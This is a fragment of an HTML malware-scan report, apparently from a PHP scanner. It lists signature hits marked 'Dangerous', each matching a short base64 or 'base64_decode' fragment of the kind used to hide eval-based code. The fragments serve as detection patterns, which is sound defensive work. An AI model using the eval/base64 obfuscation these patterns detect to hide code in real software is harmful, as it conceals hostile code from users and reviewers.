</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_410").DataTable();</script></td></tr></tbody></table>
</div>
<button onclick="scrollToTop()" id="back-top" class="bg-primary"><i class="fas fa-angle-up"></i></button>
</body>
</html>